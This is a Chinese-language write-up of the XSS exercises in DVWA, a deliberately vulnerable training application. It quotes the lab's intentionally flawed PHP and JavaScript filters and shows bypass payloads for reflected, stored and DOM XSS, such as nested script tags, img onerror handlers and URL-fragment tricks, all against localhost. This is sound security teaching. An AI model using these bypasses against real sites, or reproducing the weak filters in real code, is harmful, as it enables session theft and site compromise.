DVWA学习之xss

0x00:反射型xss(Reflected Cross Site Scripting)

low级别

代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload:<script>alert("xss")</script>
如图2-1-1所示,即验证了xss的存在。
2-1-1

medium级别

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

可看出代码将我们输入内容中的undefined<script>标签替换为了空,但是str_replace这个函数是不区分大小写的,而且只替换一次,所以我们构造payload:

1
2
3
<scr<script>ipt>alert("xss")</script>

<SCRIPT>alert("xss")</SCRIPT>

结果如图2-1-2所示,成功xss
2-1-2

high级别

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

?>

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload:<img src=# onerror=alert("xss")>
结果如图2-1-3所示,可验证xss成功。
2-1-3

0x01:存储型xss(Stored Cross Site Scripting)

low级别

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

可以看出对有害输入没有任何过滤,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,我们将payload插入Name域测试xss,在此之前用 F12 将Name输入框的maxlength改为600,一开始为10,然后输入payload:

1
2
Name:<script>alert("xss")</script>
Message:testxss

结果如图2-2-1所示,成功验证xss。
2-2-1

medium级别

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

其中主要过滤的地方有

1
2
3
4
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

mtxMessage进行了htmlspecialchars转义,但是没有转义txtName,只是把<script>替换为了空,和之前的反射型xss一样,转化为大写<SCRIPT>或者<scr<script>ipt>绕过即可,下面的和low级别利用方式一样,这里不再重复。

high级别

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

触发点还是在Name域,和反射型xss high级别的过滤方法一样

1
2
$name    = trim( $_POST[ 'txtName' ] );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用img标签绕过即可,参考反射型,编写payload验证xss的存在,输入

1
2
Name:<img src=# onerror="alert('xss')">
Message:test xss

结果如图2-2-2所示,即可验证xss。
2-2-2

0x02:DOM型XSS

dom xss和前面的两种xss的区别主要是:dom xss的产生并没有和后台服务器产生交互,而是通过浏览器的dom树解析产生的。

low级别

前端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13

<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>

我们从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点构造payload:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E
结果如图2-3-1所示,即成功xss。
2-3-1

medium级别

前端代码和前面一致,后端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

这里对url的default参数的值做了限制,不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过,这里的绕过有两种方式:
(1)方式一:url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接为:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22xss%22)%3C/script%3E
结果如图2-3-2所示,成功xss。
23-2

(2)方法二:就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=%3C/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(%22xss%22)%3E
结果如图2-3-3-所示,成功xss,注意这里要闭合option以及select标签,这样做会破坏页面结构,隐蔽性不如第一种方法,同样的标签还有svg等。
2-3-3

high级别

后端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

在服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#符号绕过即可,构造payload:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(%22xss%22)%3C/script%3E
结果如图2-3-4所示,即成功xss。
2-3-4


参考博客
https://www.freebuf.com/articles/web/157953.html